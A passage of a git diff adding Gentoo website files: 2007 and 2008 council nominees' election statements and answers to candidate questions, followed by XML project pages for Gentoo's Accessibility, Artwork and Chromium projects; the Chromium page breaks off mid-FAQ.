+I mentored / co-mentored a good handful of devs who keep up the work
+when I'm not in (Uni exams mainly) ;)
+
+> 8) How much time can you dedicate to the council role
+
+Should be something around 1-2 hours a day, sometimes more, sometimes a
+bit less. After all I still maintain some mystic thing called real-life
+;) Though if you have something important, I am on irc, reachable via
+email and if there is really scary stuff going on, some devs have my
+cell phone number to send me a text about it.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/lu_zero.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/lu_zero.txt
new file mode 100644
index 00000000..82069083
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/lu_zero.txt
@@ -0,0 +1,65 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147273.xml>
+
+Yesterday night I tried to reply but I was too tired...
+
+Christina Fullam wrote:
+> Just a reminder about nominations and voting...
+> If anyone is still interested in running, you have one week left for
+> nominations.
+> Most who have accepted havent told us why we should vote for them. While
+> that information is not required perhaps it should be if we are to make
+> intelligent votes - sorry this isnt a popularity contest so give us some
+> content to review.
+
+Ok
+
+> 
+> 1) What you will do
+
+Probably I'll try my best to make sure what is decided in the council
+will end up with something implemented, hopefully in a timely fashion,
+no matter how unpopular may be perceived.
+E.g.: push for getting an EAPI 1.1 with some nice stuff, like the IUSE
+defaults, out asap and use them on the tree.
+
+> 2) Why you will do it
+
+Because I like to help and maybe I still have some sanity to invest into
+this project
+
+> 3) How you will do it
+
+Basically trying to be balanced and to keep things on the technical
+field. I like to offer alternative solutions but usually I try to pick
+the best one (possibly not what I proposed, I'm an fan of the antiNIH
+movement)
+
+> 4) What is the timescale for doing it
+
+"This is an opensource project, we deliver things when we feel it is
+ready". I'll try my best to keep things going smoothly and that also
+includes suggesting/changing leads in subprojects or have parallel
+subprojects spawned to let people willing to do have their share of fun.
+
+> 5) What experience do you have with this or a similar role
+
+Messed with politics in my University, I'm a member of different
+associations of different sizes with deciding roles of various degree
+
+> 6) Why do you think you are qualified
+
+Usually I try to get along with everybody and I try to let people know
+when I'm biased towards something (being unbiased is too hard)
+
+> 7) How you plan to balance a council role with your current Gentoo role
+
+There aren't conflicts so far for my gentoo role and my outside roles
+(e.g. me being an ffmpeg/mplayer developer)
+
+> 8) How much time can you dedicate to the council role
+
+Enough to be present, not enough to be annoying (hopefully)
+
+Feel free to ping me on irc if you have questions ^^
+
+lu
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/uberlord.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/uberlord.txt
new file mode 100644
index 00000000..42b0e02c
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/uberlord.txt
@@ -0,0 +1,56 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147245.xml>
+
+I've been nominated, and I've accepted (after bribery of beer :P). I'm
+also a current Council member.
+
+I'm not going to tell you why you should vote for me, as I'm not a
+politician.
+I'm not going to tell you what I'm going to do if I was voted back in
+because I don't have a game plan as such.
+
+And when it comes right down to it, it *is* a popularity contest. Or
+rather who would you trust the most to make decisions you agree with. So
+you're really voting for someone like-minded and is probably more
+eloquent and vocal than yourself.
+
+I've said my piece. You'll vote for me if you agree with my technical
+decisions and you find yourself siding with me (even mentally) in the
+few discussions I take part in on -dev and #-dev.
+
+Thanks
+
+Roy
+
+------------------------------------------------------------------------
+
+<http://archives.gentoo.org/gentoo-dev/msg_147270.xml>
+
+On Tue, 2007-07-24 at 14:25 +0200, Wulf C. Krueger wrote:
+> I can't say much about your technical decisions because I haven't  
+> consciously seen any, I rarely see you take part in any discussions.
+
+Maybe that's because -dev wasn't a forum for technical discussion.
+Hopefully that might change.
+
+> So your refusal to say anything about what you have in mind is rather  
+> problematic to me and probably others.
+
+What did you want me to say?
+I don't have anything planned beyond what I already do (which is
+baselayout, some base system foo, dhcpcd, Gentoo/FreeBSD on x86 and
+sparc)
+
+Or should I make up some crap just to get votes? Sorry, won't do that.
+
+I *will* say that I will continue to work on what I'm doing to make
+Gentoo a better place.
+
+> On this basis, I can't and won't vote for you.
+
+That's your prerogative.
+You do know that we use a Condorcet voting system which means you rank
+candidates instead of voting for them?
+
+Thanks
+
+Roy
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2007/welp.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/welp.txt
new file mode 100644
index 00000000..aab08c6a
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2007/welp.txt
@@ -0,0 +1,69 @@
+<http://archives.gentoo.org/gentoo-dev/msg_147164.xml>
+
+My main plans over the next few years would be to improve
+communications (and (more importantly?) openness), not just between
+developers, but also between herds, users, the Council, the Trustees,
+upstream and so on. I'd particularly want to ensure that there is better
+communication between us (Gentoo) and projects such as Sabayon Linux
+and Ainkaboot, as I believe that we can all make use of each other's
+skills and ideas to provide better distribution(s). I'd encourage
+"innovative" ideas and projects, such as the inclusion of, for example,
+XGL/Compiz/Beryl/Compiz-Fusion or whatever it's called these days. I'd
+also encourage the introduction of targets, as discussed by antarus on
+the -core ML. And all that kinda stuff.
+
+Now, I'm sure that a number of you would prefer everything to be
+closed, kept private within a number of individuals, but if that *is*
+the case, why on Earth are you involved with an *Open* Source project,
+such as Gentoo? Wouldn't you be better off using the likes of Adobe's
+products and Microsoft's products?
+
+Yes, I am quite young. Yes, I could be considered relatively new to the
+project. Yes, I might make mistakes, but I also *learn* from mistakes,
+which some people seem to find hard. Being young/relatively new to the
+project will allow me to potentially bring a fresh view on things, that
+some of you old fuddy-duddies may or may not have thought of before.
+And isn't that what Gentoo is about? New ideas, innovation, fresh
+views, etc, etc. Anyway. Meh. I'm starting to waffle on.
+
+
+----
+<http://archives.gentoo.org/gentoo-dev/msg_147285.xml>
+
+> 1) What you will do
+> 2) Why you will do it
+> 3) How you will do it
+Black magik. Encouragement of ideas such as project updates, at least
+some support and/or contributions to those who work on other
+Gentoo-based distros, taking their ideas and contributions into the
+tree, etc, etc. One possible idea would be to encourage people to use
+one channel for primary communications, currently, many people make
+decisions (in private?) on IRC, then "forget" to tell everyone else
+about the decision... If we were all encouraged to make decisions on
+relevant email aliases, on the right mailing list, etc, etc, there
+would be less people missing out. The -project, -dev-announce and -dev
+setup we've got at the moment seems to be a start in the right
+direction from what I can see so far. It does require more time to wear
+in before it can really be seen as a success or a failure.
+> 4) What is the timescale for doing it
+This depends on who is involved with the efforts, who agrees, who wants
+to bring up (potentially) silly arguments, etc, etc. It's not really
+possible to set a deadline for something when you don't know who you
+will be working with.
+> 5) What experience do you have with this or a similar role
+I'm the lead of the Gentoo/*BSD team, the Gentoo/Alt ATs and the Bugday
+team. The latter two teams do require quite a bit of user interaction,
+which could be useful for the implementation of some of my ideas.
+> 6) Why do you think you are qualified
+Hrm, how different is this question to the question above? Meh. Well, I
+suppose I am quite vocal - I speak to people a lot. I'm involved with a
+local LUG. See answer to question above...
+> 7) How you plan to balance a council role with your current Gentoo
+> role
+Council will take precedence over most/all of my other roles. I will
+probably also be dropping out of some of the teams/projects where I
+have been relatively inactive.
+> 8) How much time can you dedicate to the council role
+Hmm. Well, around 7.5hrs a day if needs be. I should be able to pull
+out more hours from the hat, dependant on my school timetable for the
+next academic year.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/Halcy0n.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/Halcy0n.txt
new file mode 100644
index 00000000..962f48cd
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/Halcy0n.txt
@@ -0,0 +1,5 @@
+My platform is pretty simple, I want Gentoo to get back to doing fun and
+innovative things.  If you are also sick of all of the politics and want
+to take the no bullshit approach, that's what I want to try to achieve.
+We are all volunteers and there is no reason to needlessly troll or bash
+other people's work.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/dertobi123.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/dertobi123.txt
new file mode 100644
index 00000000..59823cf8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/dertobi123.txt
@@ -0,0 +1,89 @@
+Involvement.
+============
+The time I've spent with Gentoo in the past few years has shown
+involvement. Starting as a user, helping others in the forums and on
+mailing-lists I quickly started contributing. First with German
+translations of GWN and documentation, for which I became responsible quite
+fast. Afterwards I took the ebuild quiz and helped our PPC team maintaining
+the stable-tree and started building the release-media for HPPA plus I'm
+maintaining several packages for now.
+
+To quote Daniel Robbins [1]:
+"And if you are already a developer who wants the Gentoo ecosystem to
+improve, consider getting involved with the council, as a trustee, or work
+to give regular users more of a voice on the project. Gentoo the distro
+begins and ends with its users."
+
+Running for the council is another (logical?) step of involvement.
+
+
+Reliability.
+============
+
+While getting more and more involved with Gentoo I always tried to not make
+wrong promises I couldn't hold. Being responsible for the HPPA
+release-media for about 2 years and PPC's security liaison for about one
+and a half year has shown that I'm trying to be a reliable community
+member. (Uber could argue that I failed at writing the Gentoo/FreeBSD SPARC
+doc, yeah I failed at that - sorry :P)
+
+
+Accountability.
+===============
+
+Though I think we need a strong council which is empowered by all
+Gentoo Developers taking part in this election and therefore free in it's
+decision making process, I think that the council's decisions should be
+made upon what's best for Gentoo and our community. Also decisions should
+reflect Gentoo's interests and not individual opinions.
+
+Once a decision is taken by a majority of council members I would expect
+all council members to respect and support this decision - as it's been
+made on Gentoo's interests and not individual preferences. Doing otherwise would
+lead into a weak council which isn't able to enforce their decisions.
+
+Questions.
+==========
+
+1) What you will do?
+
+Everything which needs to be done, especially focused on improving
+Gentoo's "ecosystem" and community relations. I'm pretty sure social
+problems can't be fixed by technical solutions - therefore we need to
+improve community relations and possibilities for users to get involved.
+
+2) Why you will do it
+
+See "Involvement".
+
+3) How you will do it?
+
+See "Accountability".
+
+4) What is the timescale for doing it?
+
+The timescale I'm elected for.
+
+5) What experience do you have with this or a similar role?
+
+I was responsible for managing German translations a while ago, but no real
+experience in that tbh.
+
+6) Why do you think you are qualified?
+
+See "Involvement".
+
+7) How you plan to balance a council role with your current Gentoo role?
+
+I can't see problems where council decisions can conflict with my current
+Gentoo roles, but if so it'll be my duty as a council member to vote on
+Gentoo's interests and not my personal preferences.
+
+8) How much time can you dedicate to the council role
+
+Hopefully as much time as needed, though I wasn't able to catch up w/ dev-list
+discussions in the past few months (in which I wrote that little shiny book
+...).
+
+
+[1] http://blog.funtoo.org/2007/07/your-choices-with-gentoo.html
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/dev-zero.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/dev-zero.txt
new file mode 100644
index 00000000..70ab2646
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/dev-zero.txt
@@ -0,0 +1,67 @@
+Background
+==========
+
+In September 2006 I became a developer after writing a lot of ebuilds in
+the Gentoo Sunrise project and helping with the postgresql ebuilds.
+Currently I'm responsible for packages in the herds samba, cpp, python,
+sysadmin and postgresql. Furthermore I'm a member of the gentoo python
+project and a glep-editor.
+
+Besides my Gentoo development work I also organize the Gentoo booth at the
+OpenExpo in Switzerland twice a year.
+
+Questions.
+==========
+
+1) What you will do?
+
+First I'll try to clean up our structure and write down clearly what we have,
+who's responsible for what and how the workflows are. You might also consider
+the GLEPs I've written as an example for what I'm trying to achieve.
+
+2) Why you will do it
+
+Because I think we can't grow in a sane way anymore without having at least
+general policies written down. I don't want to over-regularize Gentoo but I
+got the impression in the last few months that we loose a lot of time
+discussing the same questions over and over again and that we're blocked by
+non-existent or -- even worse -- seemingly existing policies like GLEP 39.
+
+3) How you will do it?
+
+To keep it open and fair I'll probably do a lot of things via GLEPs.
+But even if I do believe that many things should be written down I think that we
+should never stop talking about issues. Policies are not meant to be written
+in stone, they're alive and should be revised from time to time (and we should
+not first need a catastrophe for that to happen). So I think it's not the
+council's sole responsibility to generate improvements (the council is rather
+the legislature) but it's the people (users and developers alike) who should
+come up with improvements.
+
+4) What is the timescale for doing it?
+
+A half year until we get the organizational problems resolved. Another half
+year to speed up development again.
+
+5) What experience do you have with this or a similar role?
+
+While studying I currently work as a CIO in small company (~30
+people). In highschool I was president of the students organization for
+1.5 years.
+
+6) Why do you think you are qualified?
+
+I'm dedicated and consequent. I have know-how as a leader (see above) but I
+also consider myself a good team player.
+
+7) How you plan to balance a council role with your current Gentoo role?
+
+Council decisions have absolute priority. Once the decision has been made the
+council members have to represent the decision as their own even if they don't
+like it.
+
+8) How much time can you dedicate to the council role
+
+What is needed. In case it takes more I'll first put my pet projects on hold.
+
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/fmccor.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/fmccor.txt
new file mode 100644
index 00000000..6b81925f
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/fmccor.txt
@@ -0,0 +1,84 @@
+BACKGROUND
+==========
+
+I started using Gentoo in 2002 when as an experiment I installed it on a sparc
+U2 system.  I liked it, kept it, and became active in the Gentoo community.  I
+became a developer in April 2004 as a member of the sparc architecture team.
+I joined devrel a bit over a year later.  Now I am sparc lead, a member of
+devrel (mediator), a member of userrel, and a trustee.  Gentoo is an important
+part of my professional life, and I wish to work to make it as rewarding for
+others as it has been for me.
+
+A bit about myself.  I have been around for quite a while, but most relevant
+for this candidacy is probably some of my professional life at the Computer
+Systems Division of Harris Corporation.  I started there as an analyst and
+wrote a Cobol compiler.  I soon moved into management and worked as both a
+first level and second level manager.  By the time I left to go to law school,
+I was an in-house consultant and trouble shooter.
+
+Now I am part owner of a small consulting firm in Virginia where I serve as
+unofficial in-house lawyer if ever needed and as a general problem solver.
+
+So I would describe myself as a mediocre developer with pretty good
+interpersonal skills and a good trouble shooter/problem solver.  I am better
+at solving "people problems" than I am at technical problems.
+
+And oh, yes, I am a lawyer and I am a mathematician.  I am not a computer
+scientist.
+
+QUESTIONS
+=========
+
+1.  What will you do?
+  I can't answer this specifically because I don't know what will come up.  I
+  can say that whatever it is, my focus will be on the human aspects.  My
+  interest is working with problems involving people, and my approach is
+  generally to negotiate and to mediate.  And anyone who has worked with me
+  knows that I talk a lot.
+
+2.  Why will you do it?
+  I enjoy it and I think I'm pretty good at it.  I believe this is one area
+  where I can contribute to Gentoo, and I think that is what our developers
+  should be doing (otherwise why be a developer?).
+
+3.  How you will do it?
+  Already answered, I think.  I listen and negotiate.
+
+4.  What is the timescale for doing it?
+  Indefinite, determined by circumstances.
+
+5.  What experience do you have with this or a similar role?
+  I'm a lawyer with lots of management experience.  I'm currently Gentoo's
+  sparc lead and I even have developed software.
+
+6.  Why do you think you are qualified?
+  I don't think I can add anything to what I've already said.  Look at my
+  background and you think I am or I'm not.
+
+7.  How you plan to balance a council role with your current Gentoo role?
+  For the most part I see a council role as an extension of what I am already
+  doing.  That said, because I am a member of devrel, there are possible
+  situations where a conflict of interest could arise, in which case I'd have
+  to not participate for council.  The same is true for the Foundation
+  (trustees), but I see it as much less likely.
+
+8.  How much time can you dedicate to the council role?
+  I don't know.  Certainly, meeting time and the required preparation time and
+  time for any follow up I commit to.  But I won't say that I'd give council 4
+  hours a week for example.  I tend not to dedicate time to anything, but to
+  allocate it to the tasks where it is needed.
+
+SUMMARY
+=======
+
+For its long term existence, Gentoo must provide an environment in which its
+developers may perform the tasks they wish to work on while providing our
+users the system they deserve based on their reliance on us.  This does not
+mean it will always be fun or that everyone will always behave.  It does mean
+that when problems arise, we must move to solve them with as little disruption
+or drama as possible.
+
+I have experience doing just that, I enjoy it, and I think I do it reasonably
+well.  If you elect me to council, that will be my main interest.
+
+And now you know what you get.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/hkBst.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/hkBst.txt
new file mode 100644
index 00000000..e2cdddca
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/hkBst.txt
@@ -0,0 +1,65 @@
+Gentoo and me
+=============
+
+I have been a developer since January 2007. I became involved to learn
+and to help make sure that all things Lisp are easily available on
+Gentoo. I have been Lisp Project lead since January 2008. Besides Lisp I
+maintain some software that I feel should be available even though I do
+not use it (much yet), such as SML implementations and lilypond. Guile
+is one of the Scheme implementations I maintain.
+
+Roy Bamford's questions
+=======================
+
+1. Please tell us how/if you plan to fix GLEP 39. (You may not consider
+it broken)
+
+I don't think it is broken.
+
+2. As one of the first priorities will be setting policy for pending
+appeals what policy do you propose ?
+
+I do not like the way developers were expelled recently. For me at least
+it came out of the blue and seemingly without any prior warning or
+corrective action. I would like the whole process to be more careful.
+Devrel should give one or maybe even two formal public warnings before
+asking the council to expel a developer. The council should hold a
+public hearing after examining the evidence and decide. I'd like all
+recent 3 expulsions to be turned into first formal warnings. Any future
+council could decide to reinstate an expelled developer. I don't think a
+separate appeals process is necessary to handle this.
+
+3. If you are not on the council already, how will you make time for
+the extra work?
+
+I will slack less.
+
+4. How do you think the council and trustees can work together to make
+Gentoo better?
+Not just the code base but the cooperative environment we all work
+together in too.
+Disclosure - I have a personal interest in responses as a trustee.
+
+I think it is the council's role to be the glue that binds us all
+together. The council should also take responsibility for projects that
+affect or represent all of Gentoo, such as PMS and releng. The council
+should make sure that things are moving forward and that developers (and
+users too) are not left wondering what is going on.
+
+5. Tell us a little about yourself - the skills and experience you can
+bring to the council?
+
+I have the brains to quickly comprehend problems and to evaluate and
+create solutions. I am not afraid to make mistakes or to admit that I am
+wrong. I do not mind interacting with people that some find difficult.
+With this skill I will try to bridge any fissures that divide us.
+
+6. Tell us one outstanding (in your own mind) contribution you made to
+Gentoo in the last year.
+
+I have helped to build a small community of Gentoo Lispers by
+encouraging and helping users in their studies and enabling them to
+easily contribute through our git overlay and with their help I have
+significantly increased the number of available recent versions of
+Scheme implementations and related software. I have recently recruited
+one of those users to become a developer.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/leio.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/leio.txt
new file mode 100644
index 00000000..4dbf994d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/leio.txt
@@ -0,0 +1,94 @@
+Background
+==========
+
+I became a developer in August 2006 for taking care of wxWidgets packages and
+then quickly branched out into the GNOME team. Currently I still co-maintain
+GNOME and wxWidgets packages, with a strong eye on the quality and technical
+merit of the changes done to the packages.
+
+In addition to Gentoo work, I participate in various upstreams with programming
+work - GNOME and related projects from extra free time, and firmware and
+embedded code at day-job.
+
+Questions
+=========
+
+1) What you will do?
+
+If I am elected, I will concentrate on pushing technical advancement at the
+global scope of the Gentoo project. Probably best explained with a few examples:
+
+* Looking into ways for users (developers are also users) to more easily and
+  conveniently let us know what they are looking for in the more global sense
+  (think akin to Ubuntu blueprints or Fedora wiki "Feature" pages) - things that
+  can be considered advancements to the distribution as a whole: "Make bluetooth
+  work seamlessly when the USE flag is there", "Integrate PulseAudio perfectly
+  to the whole system when chosen with USE flags". Something really cool and
+  innovative could be suggested there, that we all could implement  ;) 
+* Looking into possibilities to make maintainers work easier, for example
+  investigate into centralized maintainer tools, such as an automated missing
+  version bumps detector (we have done that in GNOME in a semi-automated way,
+  so yes, I steal the idea)
+* And so on; you should get the idea of global scope advancements  :) 
+
+In addition there are of course the usual things to do as a member of the
+Council.. however we shouldn't take bullshit and concentrate on technical
+merits and let those battle it out, not politics.
+
+
+2) Why will you do it?
+
+Because the council is a body for global technical issues and policies affecting
+multiple projects in Gentoo, and that should also mean actually seeking and
+finding what the global technical issues are, and getting them solved.
+
+
+3) How will you do it?
+
+Of course first a good way to push the global advancement should be found
+amongst the whole Council and then it should be followed through - possibly
+multiple things in parallel, as much should be offloaded to a qualified other
+teams within Gentoo.
+Letting the relevant more specific team (e.g user relations) take care of it,
+help them in it as possible and oversee it all, in a somewhat mentoring role.
+
+
+4) What is the timescale for doing it?
+
+This is something that will never get done completely, as these are just
+steps towards perfection and there are infinite steps, but we get closer (to
+the sky?) each step.
+
+
+5) What experience do you have with this or a similar role?
+
+I've been involved in smaller projects with a role of overseeing the whole
+projects technical well-being and direction - the kind of experience you get
+from working on software projects for your paycheck with a team.
+
+
+6) Why do you think you are qualified?
+
+I am (too much of) a perfectionist, and Gentoo needs to start making more
+clear steps towards that. I can push it with my 5 years of technical experience
+to satisfy my own perfectionism  :) 
+
+
+7) How you plan to balance a council role with your current Gentoo role?
+
+Council takes precedence in decisions. In free time usage choices as well, as
+reasonable (e.g, a relatively rare two day long GNOME release handling is
+reasonable to do promptly and be done with it for all our users benefit, instead
+of a longer ongoing council task that is not time critical - such is reality and
+best for our users)
+
+
+8) How much time can you dedicate to the council role
+
+As much as necessary, maxing out at 1-2 hours per day average when that much
+becomes necessary, as I do have to put food on my table and real life relax.
+Necessary time can become available from proper priotizing of computer usage
+(no, I don't need to read all those blogs and all the links it points to).
+However I will be at a conference (GUADEC) abroad and catch up with things
+(including relevant to the council matters) during July, so during that the
+commitment is smaller, but after July I'm in full gear.
diff --git a/xml/htdocs/proj/en/council/voting-logs/nominees/2008/welp.txt b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/welp.txt
new file mode 100644
index 00000000..47118831
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/nominees/2008/welp.txt
@@ -0,0 +1,20 @@
+Count me in. I don't really know whether or not to write a manifesto as
+such... I mean, it's obviously good to know what the person who you're
+voting for wants to do, but... All the nominees are just going to write
+about the latest and greatest issues (see my old manifesto). But I'm
+generally about openness and keeping everything open, plain and simple.
+I don't want rules which can easily be manipliated by a select few so
+they can achieve their own ends. I want rules which can be taken at face
+value, and I guess that's what I'd do to "fix" GLEP <whatever>.
+
+I can't remember what else I was "supposed" to write about, and I don't
+really want to open up NeddySeagoon's email to do so, since it probably
+won't make much of a difference...
+
+These things seem to be a case of "I like the way you think, I want you
+in, I'll vote for you". If you like the way I think, you'll probably
+know it already, and you won't need some manifesto to confirm it. So.
+I'll leave this email at this, and let you make up your own minds.
+
+If any of you election officials want to make this my "manifesto", feel
+free to do so.
diff --git a/xml/htdocs/proj/en/desktop/accessibility/index.xml b/xml/htdocs/proj/en/desktop/accessibility/index.xml
new file mode 100644
index 00000000..3e1e279c
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/accessibility/index.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>accessibility</name>
+<longname>Gentoo Accessibility Project</longname>
+<date>2009-05-06</date>
+
+<description>
+  The Gentoo Accessibility Project provides a way for Gentoo developers in
+  various teams to coordinate efforts to make Gentoo more accessible to
+  users who have disabilities.
+</description> 
+ 
+<longdescription>
+  <p>
+  This project will help to make gentoo more accessible to disabled users,
+  and support them as well. We intend to work closely with 
+  <uri
+  link="http://www.gentoo.org/proj/en/desktop">the Desktop</uri> (and
+  in particular <uri
+  link="http://www.gentoo.org/proj/en/desktop/gnome">the GNOME
+  team</uri>), <uri
+  link="http://www.gentoo.org/proj/en/kernel">the Kernel</uri>, and
+  <uri link="http://www.gentoo.org/proj/en/base">the Base System</uri>
+  teams to help resolve accessibility issues that come up with <uri
+  link="http://packages.gentoo.org/package/app-accessibility/orca">orca</uri> and other gnome-accessibility applications. We do not
+  intend to make the applications themselves accessible. Rather, we leave that
+  to the upstream authors. However, we can suggest default settings that may
+  help make an application more usable to a disabled user.
+  </p>
+</longdescription>
+
+<goals>
+ <p>
+  We can not currently support other desktop environments, because we have not
+  found any others that offer usable accessibility features. <uri
+  link="http://www.kde.org">KDE</uri> and others have tried, but currently
+  <uri link="http://www.gnome.org">GNOME</uri> has been the most successful.
+ </p>
+
+ <p>
+  We intend to help see that <uri
+  link="http://www.linux-speakup.org">speakup</uri> is included and
+  supported in Gentoo.
+ </p>
+
+ <p>
+  We also intend to add other accessibility applications to
+  portage.
+ </p>
+
+ <p>
+  We aim to make the Gentoo installation process accessibility friendly as
+  well.  This means that we would like to have speakup and brltty
+  included on the Gentoo live cd.
+ </p>
+
+ <p>
+  Currently, speakup is included on the 2007.0 x86 release of Gentoo's
+  live cd, and we are working closely with the <uri
+  link="http://www.gentoo.org/proj/en/releng">Release
+		  Engineering</uri> team to be sure that speakup and brltty are
+  included on all future Gentoo live cds.
+ </p>
+</goals>
+
+<dev role="lead" description="Gentoo Accessibility Project Lead">WilliamH</dev>
+<dev role="Member" description="ebuild maintainer">neurogeek</dev>
+<dev role="Member" description="GNOME Team Lead">leio</dev>
+<dev role="Member" description="GNOME Accessibility Maintainer">dang</dev>
+
+<herd name="accessibility"/>
+<herd name="gnome-accessibility"/>
+
+<extrachapter position="bottom">
+  <title>Contacting Us</title>
+  <section>
+    <title>Mailing List</title>
+    <body>
+      <p>
+        We recommend that you subscribe to the gentoo-accessibility
+        mailing list; this is where accessibility-related discussions
+        will take place.
+      </p>
+    </body>
+  </section>
+  <section>
+    <title>IRC</title>
+    <body>
+      <p>
+        If you are on irc, please join us on #gentoo-accessibility on
+        freenode.
+      </p>
+    </body>
+  </section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/desktop/artwork/index.xml b/xml/htdocs/proj/en/desktop/artwork/index.xml
new file mode 100644
index 00000000..51d088c7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/artwork/index.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/artwork/index.xml,v 1.13 2010/07/17 14:16:34 jmbsvicetto Exp $ -->
+
+<project>
+<name>artwork</name>
+<longname>Gentoo Artwork Project</longname>
+<date>2007-09-03</date>
+
+<author title="Author">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+<author title="Editor">
+  <mail link="welp@gentoo.org">Peter Weller</mail>
+</author>
+
+<description>
+The Gentoo Artwork Project manages Gentoo artwork stuff. This includes
+wallpapers, logos, themes, icons sets, etc.
+</description>
+
+<longdescription>
+
+<p>
+As the community using Gentoo as a desktop operating system continues to grow,
+one of the main areas which the users tend to concentrate on are the themes and
+artwork of their desktop. We created this project precisely for these users!
+The Gentoo Artwork Project (GAP) is a desktop subproject and is responsible for
+creation and maintenance of all the artwork-related stuff within Gentoo.
+</p>
+
+<p>
+Related preject: <uri link="/proj/en/guis/">Gentoo GUIs</uri>.
+</p>
+
+</longdescription>
+
+<dev role="lead">cla</dev>
+<dev role="Member">ian</dev>
+
+<extrachapter>
+<title>Getting involved</title>
+<section>
+<body>
+
+<p>
+The Gentoo Artwork Project is open to all contributions. If you would like to
+get involved in the project, feel free to ask members of the project, in <uri
+link="/main/en/irc.xml">#gentoo-desktop</uri> on irc.freenode.net, of course,
+you can still contact all of us via e-mail. All artwork sent to us will be
+greatly appreciated.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/chromium/index.xml b/xml/htdocs/proj/en/desktop/chromium/index.xml
new file mode 100644
index 00000000..180ae675
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/chromium/index.xml
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>chromium</name>
+  <longname>Chromium in Gentoo Project</longname>
+
+  <description>
+    The Chromium in Gentoo project manages the Chromium-related ebuilds
+    within Gentoo.
+  </description>
+
+  <longdescription>
+    <p>
+      The Chromium in Gentoo project manages the Chromium-related ebuilds
+      within Gentoo.
+    </p>
+  </longdescription>
+
+  <goals>
+    <ul>
+      <li>
+        ensure that Chromium-related ebuilds are kept up to date and well
+        integrated with the rest of the Gentoo system
+      </li>
+      <li>
+        build a community of Gentoo users interested in Chromium development
+        and packaging efforts (testing, bug fixing, feedback)
+      </li>
+      <li>
+        make Gentoo the best and most friendly platform for Chromium
+        development
+      </li>
+    </ul>
+  </goals>
+  
+  <recruitment>
+    <job>
+      <summary>Herd Tester</summary>
+      <details>
+        Chromium in Gentoo project needs more people testing packages.
+        We are not always able to reproduce reported issues, and having
+        more people respond to testing requests would be useful.
+        No quiz is necessary to start.
+      </details>
+      <requirements>
+        If you are running www-client/chromium or chromium-bin,
+        and are willing to spend some time helping Gentoo,
+        feel free to apply.
+      </requirements>
+      <contact>chromium@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Developer</summary>
+      <details>
+        We have ambitious plans to start maintaining more chromium-related
+        packages like v8. We could also create some Gentoo-specific
+        documentation for people who would like to contribute to or hack on
+        the upstream project. To complete those tasks, we may need more
+        manpower.
+      </details>
+      <requirements>
+        Being a Gentoo developer who wants to join the project. Moderate
+        knowledge of upstream project. Being a committer of the upstream
+        project would be a huge plus.
+      </requirements>
+      <contact>chromium@gentoo.org</contact>
+    </job>
+  </recruitment>
+
+  <extrachapter position="bottom">
+    <title>Frequently Asked Questions</title>
+
+    <section>
+      <title>What is the difference between Google Chrome and Chromium?</title>
+      <body>
+        <p>See <uri link="http://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome">
+        differences between Google Chrome and Linux distro Chromium</uri>.</p>
+      </body>
+    </section>
+
+    <section>
+      <title>Why are dev channel releases hard masked?</title>
+      <body>
+        <p>Dev channel releases are for developers and people who want more
+        experimental features and accept more unstable software. It also allows
